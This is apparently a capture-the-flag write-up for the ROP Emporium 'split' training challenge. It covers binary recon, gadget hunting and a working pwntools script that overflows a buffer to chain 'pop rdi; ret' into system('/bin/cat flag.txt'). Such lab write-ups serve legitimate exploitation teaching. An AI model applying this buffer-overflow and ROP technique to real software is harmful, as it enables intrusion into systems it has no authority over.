ROP Emporium: split

Building a ROP chain to call system() with a custom string argument

Challenge Info

Use ROP (Return-Oriented Programming) to call system("/bin/cat flag.txt") by chaining gadgets together.

Recon

1
2
$ file split
split: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=98755e64e1d0c1bff48fccae1dca9ee9e3c609e2, not stripped
1
2
3
4
5
6
7
8
pwndbg> checksec
File: split
Arch: amd64
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

Same protections as ret2win - no canary, no PIE, but NX is enabled so we need ROP instead of shellcode.

Gathering Intel

First, let’s see what useful strings exist:

1
2
$ strings split | grep "flag"
/bin/cat flag.txt

The command we need is in the binary. Now let’s find available functions:

1
2
3
4
pwndbg> info functions
0x0000000000400560 system@plt
0x00000000004006e8 pwnme
0x0000000000400742 usefulFunction

system@plt is available, and there’s a usefulFunction:

1
2
3
4
5
6
7
8
9
10
pwndbg> disass usefulFunction
Dump of assembler code for function usefulFunction:
0x0000000000400742 <+0>: push rbp
0x0000000000400743 <+1>: mov rbp,rsp
0x0000000000400746 <+4>: mov edi,0x40084a
0x000000000040074b <+9>: call 0x400560 <system@plt>
0x0000000000400750 <+14>: nop
0x0000000000400751 <+15>: pop rbp
0x0000000000400752 <+16>: ret
End of assembler dump.

This calls system() but with the wrong argument:

1
2
pwndbg> x/s 0x40084a
0x40084a: "/bin/ls"

Not useful - we need /bin/cat flag.txt. Let’s find its address:

1
2
$ objdump -s split | grep "cat flag"
601060 2f62696e 2f636174 20666c61 672e7478 /bin/cat flag.tx

String address: 0x601060

The ROP Strategy

In x86-64, the first function argument goes in the rdi register. We need to:

  1. Load 0x601060 (our string) into rdi
  2. Call system()

We need a pop rdi; ret gadget:

1
2
3
4
5
6
$ ROPgadget --binary split --only "pop|ret"
Gadgets information
============================================================
0x00000000004007c3 : pop rdi ; ret
0x000000000040053e : ret
...

0x4007c3 - exactly what we need.

Vulnerability

Same pattern as ret2win, pwnme allocates 32 bytes but reads 96 bytes (0x60):

1
2
3
0x00000000004006ec <+4>:     sub    rsp,0x20      ; 32 bytes allocated
...
0x0000000000400723 <+59>: mov edx,0x60 ; reading 96 bytes!

Offset to return address: 40 bytes (32 buffer + 8 saved RBP)

Building the ROP Chain

1
2
3
4
5
6
7
8
9
10
Stack after overflow:
+------------------+
| 'A' * 40 | <- padding
+------------------+
| pop rdi; ret | <- gadget address
+------------------+
| 0x601060 | <- gets popped into rdi
+------------------+
| system@plt | <- execute system(rdi)
+------------------+

Flow:

  1. ret pops 0x4007c3 into RIP
  2. pop rdi pops 0x601060 into RDI
  3. ret pops 0x40074b into RIP
  4. system("/bin/cat flag.txt") executes

Exploitation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

# addresses
pop_rdi_ret = p64(0x4007c3)
cat_flag = p64(0x601060)
system_call = p64(0x40074b) # use call system in usefulFunction

p = process('./split')

payload = b'A' * 40
payload += pop_rdi_ret
payload += cat_flag
payload += system_call

p.send(payload)
p.interactive()

Note: We use 0x40074b (the call system inside usefulFunction) rather than system@plt directly to avoid stack alignment issues that can occur with modern libc.

Key Takeaways

  • ROP chains let us execute arbitrary code even with NX enabled
  • x64 calling convention: first arg in rdi, second in rsi, etc.
  • Gadget hunting: tools like ROPgadget find useful instruction sequences
  • Stack alignment: sometimes you need to be careful about 16-byte alignment when calling libc functions